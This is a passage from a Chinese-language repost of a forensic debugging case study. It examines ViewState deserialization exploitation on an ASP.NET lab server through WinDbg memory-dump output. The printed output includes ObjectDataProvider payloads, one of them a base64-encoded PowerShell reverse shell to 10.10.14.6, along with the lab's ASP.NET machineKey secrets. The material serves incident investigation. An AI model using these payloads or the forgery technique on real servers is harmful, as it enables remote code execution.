00d4 m_processAccess : 2035711 (System.Int32)
00d8 priorityClass : 0 (System.Diagnostics.ProcessPriorityClass)
00dc exitCode : 0 (System.Int32)
00e0 outputStreamReadMode : undefined (0) (System.Diagnostics.Process+StreamReadMode)
00e4 errorStreamReadMode : undefined (0) (System.Diagnostics.Process+StreamReadMode)
00e8 haveProcessId : False (System.Boolean)
00e9 haveProcessHandle : True (System.Boolean)
00ea isRemoteMachine : False (System.Boolean)
00eb haveMainWindow : False (System.Boolean)
00ec haveWorkingSetLimits : False (System.Boolean)
00ed haveProcessorAffinity : False (System.Boolean)
00ee havePriorityClass : False (System.Boolean)
00ef watchForExit : False (System.Boolean)
00f0 watchingForExit : False (System.Boolean)
00f1 exited : False (System.Boolean)
00f2 signaled : False (System.Boolean)
00f3 haveExitTime : False (System.Boolean)
00f4 responding : False (System.Boolean)
00f5 haveResponding : False (System.Boolean)
00f6 priorityBoostEnabled : False (System.Boolean)
00f7 havePriorityBoostEnabled : False (System.Boolean)
00f8 raisedOnExited : False (System.Boolean)
00f9 disposed : False (System.Boolean)
00fa pendingOutputRead : False (System.Boolean)
00fb pendingErrorRead : False (System.Boolean)
0100 exitTime : 0000020da757b198 1/1/0001 12:00:00 AM (System.DateTime)
startInfo
对象中的字段包含System.Diagnostics.Process
一个配置实例,System.Diagnostics.ProcessStartInfo
用于使用参数启动cmd.exe /c ping 10.10.14.6
。
0:000> !mex.DisplayObj 0x0000020da758c3a8
0x0000020da758c3a8 System.Diagnostics.ProcessStartInfo
0000 fileName : 0000020da7589078 "cmd" [3] (System.String)
0008 arguments : 0000020da7586fd8 "/c ping 10.10.14.6" [18] (System.String)
0010 directory : NULL
0018 verb : NULL
0020 userName : 0000020da6d71420 "" [0] (System.String)
0028 domain : 0000020da6d71420 "" [0] (System.String)
0030 password : NULL
0038 passwordInClearText : NULL
0040 standardOutputEncoding : NULL
0048 standardErrorEncoding : NULL
0050 weakParentProcess : NULL
0058 environmentVariables : NULL
0060 environment : NULL
0068 errorDialogParentHandle : 0000000000000000 (System.IntPtr)
0070 windowStyle : Normal (0) (System.Diagnostics.ProcessWindowStyle)
0074 errorDialog : False (System.Boolean)
0075 useShellExecute : True (System.Boolean)
0076 loadUserProfile : False (System.Boolean)
0077 redirectStandardInput : False (System.Boolean)
0078 redirectStandardOutput : False (System.Boolean)
0079 redirectStandardError : False (System.Boolean)
007a createNoWindow : False (System.Boolean)
WinDbg 中的命令!ForEachObject -s -x "!do2 @#Obj" System.Diagnostics.ProcessStartInfo
会遍历System.Diagnostics.ProcessStartInfo
内存中该类的所有实例,并对!do2
每个实例执行该命令。
arguments
对象中的字段指定System.Diagnostics.ProcessStartInfo
在启动进程时传递给可执行文件的命令行参数。
0:000> !ForEachObject -s -x "!do2 @#Obj" System.Diagnostics.ProcessStartInfo
0x0000020da758c3a8 System.Diagnostics.ProcessStartInfo
0000 fileName : 0000020da7589078 "cmd" [3] (System.String)
0008 arguments : 0000020da7586fd8 "/c ping 10.10.14.6" [18] (System.String)
0010 directory : NULL
0018 verb : NULL
0020 userName : 0000020da6d71420 "" [0] (System.String)
0028 domain : 0000020da6d71420 "" [0] (System.String)
0030 password : NULL
0038 passwordInClearText : NULL
0040 standardOutputEncoding : NULL
0048 standardErrorEncoding : NULL
0050 weakParentProcess : NULL
0058 environmentVariables : NULL
0060 environment : NULL
0068 errorDialogParentHandle : 0000000000000000 (System.IntPtr)
0070 windowStyle : Normal (0) (System.Diagnostics.ProcessWindowStyle)
0074 errorDialog : False (System.Boolean)
0075 useShellExecute : True (System.Boolean)
0076 loadUserProfile : False (System.Boolean)
0077 redirectStandardInput : False (System.Boolean)
0078 redirectStandardOutput : False (System.Boolean)
0079 redirectStandardError : False (System.Boolean)
007a createNoWindow : False (System.Boolean)
--------------------------------------------------------------------------------
0x0000020ea6f286f0 System.Diagnostics.ProcessStartInfo
0000 fileName : 0000020ea6f281f0 "cmd" [3] (System.String)
0008 arguments : 0000020ea6f26440 "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0..." [1345] (System.String)
0010 directory : NULL
0018 verb : NULL
0020 userName : 0000020da6d71420 "" [0] (System.String)
0028 domain : 0000020da6d71420 "" [0] (System.String)
0030 password : NULL
0038 passwordInClearText : NULL
0040 standardOutputEncoding : NULL
0048 standardErrorEncoding : NULL
0050 weakParentProcess : NULL
0058 environmentVariables : NULL
0060 environment : NULL
0068 errorDialogParentHandle : 0000000000000000 (System.IntPtr)
0070 windowStyle : Normal (0) (System.Diagnostics.ProcessWindowStyle)
0074 errorDialog : False (System.Boolean)
0075 useShellExecute : True (System.Boolean)
0076 loadUserProfile : False (System.Boolean)
0077 redirectStandardInput : False (System.Boolean)
0078 redirectStandardOutput : False (System.Boolean)
0079 redirectStandardError : False (System.Boolean)
007a createNoWindow : False (System.Boolean)
--------------------------------------------------------------------------------
2 objects found.
如前所述,是一个允许您在XAMLSystem.Windows.Data.ObjectDataProvider
中创建并绑定到对象,或调用对象的方法的类。
我们可以使用Steve Johnson创建的SOSEX扩展。SOSEX扩展旨在增强 .NET 应用程序的分析和故障排除。我们可以使用在 .NET 应用程序的托管堆中搜索字符串。!sosex.strings
0:000> !sosex.strings /m:*ObjectDataProvider*"
Address Gen Value
---------------------------------------
0000020da750a8d0 0 <?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c ping 10.10.14.6" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
0000020da7558188 0 ObjectDataProviderExtension
0000020da75581d8 0 System.Windows.Automation.ObjectDataProvider
0000020da7558250 0 System.Windows.Media.TextFormatting.ObjectDataProvider
0000020da75582d8 0 System.Windows.Ink.ObjectDataProvider
0000020da7558340 0 System.Windows.Input.ObjectDataProvider
0000020da75583a8 0 System.Windows.Media.Effects.ObjectDataProvider
0000020da7558420 0 System.Windows.Media.Imaging.ObjectDataProvider
0000020da7558498 0 System.Windows.Media.Media3D.ObjectDataProvider
0000020da7558510 0 System.Windows.Media.Animation.ObjectDataProvider
0000020da7558590 0 System.Windows.Media.ObjectDataProvider
0000020da75585f8 0 System.Windows.ObjectDataProvider
0000020da7558658 0 System.Windows.ObjectDataProvider
0000020da75586b8 0 System.Windows.Input.ObjectDataProvider
0000020da7558720 0 System.Windows.Media.ObjectDataProvider
0000020da7558788 0 System.Diagnostics.ObjectDataProvider
0000020da75587f0 0 System.Windows.Controls.ObjectDataProvider
0000020da7558860 0 System.Windows.Documents.ObjectDataProvider
0000020da75588d0 0 System.Windows.Shapes.ObjectDataProvider
0000020da7558940 0 System.Windows.Shell.ObjectDataProvider
0000020da75589a8 0 System.Windows.Navigation.ObjectDataProvider
0000020da7558a20 0 System.Windows.Data.ObjectDataProvider
0000020da7563500 0 ObjectDataProvider.ObjectInstance
0000020da75636d8 0 ObjectDataProviderExtension
0000020da7593148 0 ObjectDataProviderHasNoSource
0000020da7593430 0 ObjectDataProviderNonCLSExceptionInvoke
0000020da7595140 0 Unable to cast object of type 'System.Windows.Data.ObjectDataProvider' to type 'System.Windows.Media.Brush'.
0000020ea6f19828 0 <?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
0000020ea6f1fa18 0 ObjectDataProviderExtension
0000020ea6f207b0 0 ObjectDataProvider.ObjectInstance
0000020ea6f20988 0 ObjectDataProviderExtension
0000020ea6f29ec0 0 Unable to cast object of type 'System.Windows.Data.ObjectDataProvider' to type 'System.Windows.Media.Brush'.
---------------------------------------
32 matching strings
System.Windows.Data.ObjectDataProvider
第一个输出显示了用于执行命令的恶意 ViewState 有效负载。它执行ping
命令来检查与 IP 地址 10.10.14.6 的连接
0:000> !do2 0000020da750a8d0
[raw] 0000020da750a8d0 "<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c ping 10.10.14.6" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>"
第二个输出显示了用于执行命令的恶意 ViewState 负载System.Windows.Data.ObjectDataProvider
。此负载配置为运行经过 base64 编码的 PowerShell 命令,这是一个反向 shell。
0:000> !do2 0000020ea6f19828
[raw] 0000020ea6f19828 "<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>"
该!netext.wconfig
命令用于转储内存中加载的 .config 文件的内容。它提供有关每个配置设置的信息,包括密钥、定义路径、文件名、行号和原始 XML 内容。从此命令中,我们可以看到存储在 web.config 文件中的信息,其中包含 ASP.NET MachineKey。
0:000> !netext.wconfig
<<< SNIPPET >>>
<httpRuntime targetFramework="4.5" />
<--
Key: system.web/machineKey
Definition Config Path: machine/webroot/2
Filename: C:inetpubwwwrootdevweb.config
Line: 0n5
-->
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
<--
Key: system.webServer
Definition Config Path: machine/webroot/2
Filename: C:inetpubwwwrootdevweb.config
Line: 0n7
-->
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
上述信息源自System.Configuration.SectionXmlInfo
,这是一个用于表示配置节的 XML 内容和元数据的内部类。_rawXml
该类中的字段System.Configuration.SectionXmlInfo
保存配置节的原始 XML 字符串。
0:000> !mex.grep -r "system.web/machineKey" -A 15 !ForEachObject -s -x "!do2 @#Obj" System.Configuration.SectionXmlInfo
0000 _configKey : 0000020da6dafe38 "system.web/machineKey" [21] (System.String)
0008 _definitionConfigPath : 0000020da6e07460 "machine/webroot/2" [17] (System.String)
0010 _targetConfigPath : 0000020da6e07460 "machine/webroot/2" [17] (System.String)
0018 _subPath : NULL
0020 _filename : 0000020da6e07738 "C:inetpubwwwrootdevweb.config" [33] (System.String)
0028 _streamVersion : 0000020da6e078b0 (System.Configuration.Internal.FileVersion)
0030 _configSource : NULL
0038 _configSourceStreamName : NULL
0040 _configSourceStreamVersion : NULL
0048 _rawXml : 0000020da6e0b348 "<machineKey decryption="AES" decryptionK..." [275] (System.String)
0050 _configBuilderName : NULL
0058 _protectionProviderName : NULL
0060 _lineNumber : 5 (System.Int32)
0064 _skipInChildApps : False (System.Boolean)
0068 _overrideMode : 0000020da6e0b660 (System.Configuration.OverrideModeSetting)
--------------------------------------------------------------------------------
0000 _configKey : 0000020da6f4da98 "system.web/machineKey" [21] (System.String)
0008 _definitionConfigPath : 0000020da6fa96f0 "machine/webroot/2" [17] (System.String)
0010 _targetConfigPath : 0000020da6fa96f0 "machine/webroot/2" [17] (System.String)
0018 _subPath : NULL
0020 _filename : 0000020da6fa9970 "C:inetpubwwwrootdevweb.config" [33] (System.String)
0028 _streamVersion : 0000020da6fa9ae8 (System.Configuration.Internal.FileVersion)
0030 _configSource : NULL
0038 _configSourceStreamName : NULL
0040 _configSourceStreamVersion : NULL
0048 _rawXml : NULL
0050 _configBuilderName : NULL
0058 _protectionProviderName : NULL
0060 _lineNumber : 5 (System.Int32)
0064 _skipInChildApps : False (System.Boolean)
0068 _overrideMode : 0000020da6faed60 (System.Configuration.OverrideModeSetting)
--------------------------------------------------------------------------------
输出显示 machineKey 配置部分的原始 XML 字符串。该machineKey
部分指定用于加密和验证数据的加密密钥,例如 ASP.NET 应用程序中的 ViewState。我们可以从这些数据中看到的加密密钥与本博文中讨论的密钥相匹配:https://0xdf.gitlab.io/2024/06/08/htb-pov.html
0:000> !mex.DisplayObj 0x0000020da6e0b348
[raw] 0000020da6e0b348 "<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />"
让我们回到所有 HTTP 请求并查看302状态代码。302状态代码也称为“已找到”或“已暂时移动” ,是一种 HTTP 响应状态代码,表示请求的资源已暂时移动到其他 URL。
0:000> !mex.grep -r /portfolio/default.aspx !netext.wfrom -nospace -nofield -type *.HttpContext select $rpad($addr(),10), " ", $if(!_thread, " --", $lpad($thread(_thread.DONT_USE_InternalThread),4)), " ", $tickstodatetime(_utcTimestamp.dateData), " ", $if((_timeoutSet==1),$tickstotimespan(_timeout._ticks), "Not set "), " ", $if(_response._completed || _finishPipelineRequestCalled,"Finished", $tickstotimespan($now()-_utcTimestamp.dateData)), " ", $replace($lpad(_response._statusCode,8), "0n","")," ", $rpad($isnull(_request._httpMethod,"NA"),8), " ", $isnull(_request._url.m_String, _request._filePath._virtualPath)
0000020DA70834C0 -- 6/9/2024 7:28:33 PM 00:00:00 Finished 200 GET /portfolio/default.aspx
0000020DA741BFA8 -- 6/9/2024 7:28:39 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA7435768 -- 6/9/2024 7:29:02 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020DA744D0A0 -- 6/9/2024 7:29:14 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA746D8A0 -- 6/9/2024 7:29:26 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA749A6D8 -- 6/9/2024 7:30:08 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA74BA870 -- 6/9/2024 7:30:40 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020DA74D6168 -- 6/9/2024 7:31:13 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020EA6E79750 -- 6/9/2024 7:28:55 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
0000020EA6EB2A98 -- 6/9/2024 7:29:18 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6EC32E0 -- 6/9/2024 7:30:16 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6ED8160 -- 6/9/2024 7:30:54 PM 00:00:00 Finished 200 POST /portfolio/default.aspx
0000020EA6EF18F0 -- 6/9/2024 7:31:49 PM 00:00:00 Finished 302 POST /portfolio/default.aspx
从 DFIR 的角度来看,攻击者有时也会犯错误。这会导致磁盘上出现伪影。在本例中,我们将检查以下0000020DA74D6168
具有无效 ViewState的内存地址。从结果中我们可以看到,它具有302状态代码。我不会再重复如何识别 ViewState 的完全相同的步骤。
0:000> !mex.DisplayObj 0x0000020da74e0308
[raw] 0000020da74e0308 System.Web.HttpValueCollection Entries: 6
Name Value
==================== ========================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================
__EVENTTARGET download
__EVENTARGUMENT
__VIEWSTATE prSDlekDxsPCc/rFoMPPcZtsiGjJxbfNS8TDzRAol3FbIEaHaq49D89ZymK3x8s3AZ1rhuJEaUDJlGu6sfxmq7OtIYQaRtmwoHKWcssLsRVl+WG0LkBLBvTQ3hQ+EEraVu5wMY0MPZmLw+oVO7QBLFTLn8tc5334VRNJdh4tTlDl75K6fu1tZuFx3tXW3ZfkmMkpj+BTs8BIZOhelwlYLw9C6xvJp0HPOEr9rBhE/7721nVZLcszHzeIL5RsydnAamEuUbvX/uYMR05EUMVYkO9JIsHisGHqdd+JaBRK+uI+ch3E5m7zdeJoW81sbKfo+Cc3+IGKjtLQl/qypRLsm4iH4vcru+9EJkLsrKdaOppKzuD/SE8pVHfbtl+jEafCHU36FAwRX6qD9bUrJdaTkpYWjJngTHm1jULJdSh65GkSELCH5WCNmTFR7UJGYzr/DkfAcnwOmb0RFijrMBpwGkiBeJQuzNEw8dC9BOdBj6/HuPbARqiMn+aXQRqNgw8GrOAWrd2PW6Er+ml7JSxDz8CszbYwDixgDVnQTOnCcO8WoJtH0DEdQDrBBTiUDEZgWZAu37JFyNwnig+6QknHGudoA3uKlZZtYRm7Dd1yascID5n/2RuSgTP/QPPp/2SuX423kakr/DivpUFFHh0Jbfj2ibSQhFbnYNQRszovwescUVcTzFbJsO1LMjDtMKlZqXqWjmUJD/YZeOMPWSCTIXDOSnJdihQSqjfQ5YdlWcjY+PE4Cl0CAX9CNFgy9iKdz6QbgT8uFOIq2JWhN2zxcO3lXRRjl5sW6X6UNPo/Jof0cxmYR4SbTGnAXrFGMC/hMMFZh++w+d6BkyrpXgwwiM0GBe6v5L5yjOXLH7Kr1nxOw0KVXwl13cNErHU7k7jQ6r7yMgdvs7pGsiNTg7aWuuTW7QL9SJTHHp+/oCwglvuuHGGp6XATRdippj/Yzda39FyVDBBNmXGjx87gSs4Evai5Q/JJgbv53OA1Y38zPgwAfr5feM9uN2k8zrAAWWuzMnjeEOK4Jpe9Q9L6m3H+mVRIH+mb58/j3Y8nv4mnMsdRqEy2F9RchTBg+P6aAMSfCiiOv8pfjigBbAGPdBtgI9larZwAdiHfcSAWzLG2Uvp4hNm7uDbLnuTL0UQGH3A6Hu6H6Z6t0bc3PM4/uh36FwSbz56C6sOLls03UeN5OrYtKIDpbX/AaPaz459c8dZdhKBNB61pQmilGpgPYTuM1CaPi0BqrPprHIq5N1HQOuu7tyUa9JiI342ESON2Sx1w4J9XFpNR4kjsW9MA+kuFbwUcx9vnrqFgd9tmw1voZhhqI9GRndruaRMrPZ4G1tj1UHthEa0sN74xb0kOCjJ4XP7TmKcbtQ8rPi0OAe4CkuB3kbabROFuJnzZLC+VLlHsr4fr4jeyz/tI/4xmBjFd5jyi1w1gsYTyYNDkzM/39V/Ty90SORsZBwdyHej5laRRA2bRxIeHBrdhJ8VS1p9IMyl3TzmaOPbGS3DARJwipikx/Ny9c1EpD7QvJXtShkuYz0O1wuMlitmnmFyvahlcC/gqF5LX7TzAoiC2GR5s8v5WL6A0SeTbr9oONIQ5zFYTvcvv2fyRTQIQ8AbdJWObzHxbxC3xPkbgN0NBlla9MqhdHRJKnHznPg0/n9nwVx1PFPE+1KDn3KKvZu1v7HgamwiM2c5PfunuR9fCAwsL2YSYkDXa4gZcfdnnwUM1h2NgwGIKoyMaQtOG36xv54HMH1imCvCCPy6Or2uSpuxcv1vSmsW06xF2U4i6+Oy71Oc7B5DaQwI2Tk7GqTcoIIty+WHptR8p4pJRZGgNYliWiJrRlvlSlt0NSuSHCkQ32o71NH1VVg==
__VIEWSTATEGENERATOR 8E0F0FA3
__EVENTVALIDATION PJQCREUo0khpECgXqIUAKspvizBGfLAW/qc5I85PBkb2p8lQwzO8DDS/4HqGblZJ3xC7USh9PyfG9mTKhe4E9qWnaXtQSDSBEp/g4KFMytV0fuiutV4uWhUIRpipDsIPUVUBqw==
file web.config
在应用程序日志的事件查看器中,我们可以看到事件 ID 为1316,消息为Viewstate 验证失败。原因:Viewstate 无效。。事件日志包含相关 PID 等。这可能是调查期间试图制作恶意 ViewState 的相关指标。但是,请记住,这意味着攻击者需要犯错误才能生成此日志条目。
这是无效的 ViewState,与我们在内存转储中看到的完全匹配:
参考
-
https://0xdf.gitlab.io/2024/06/08/htb-pov.html
-
https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments
Debug Case Study: ViewState Deserialization Exploitation
https://github.com/DebugPrivilege/InsightEngineering/tree/main/Debugging%20Case%20Studies/Debug%20Case%20Study:%20ViewState%20Deserialization%20Exploitation
感谢您抽出
![调试案例研究:ViewState 反序列化利用 调试案例研究:ViewState 反序列化利用](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/5-1719720511.gif)
.
![调试案例研究:ViewState 反序列化利用 调试案例研究:ViewState 反序列化利用](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/8-1719720511.gif)
.
![调试案例研究:ViewState 反序列化利用 调试案例研究:ViewState 反序列化利用](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/4-1719720512.gif)
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):调试案例研究:ViewState 反序列化利用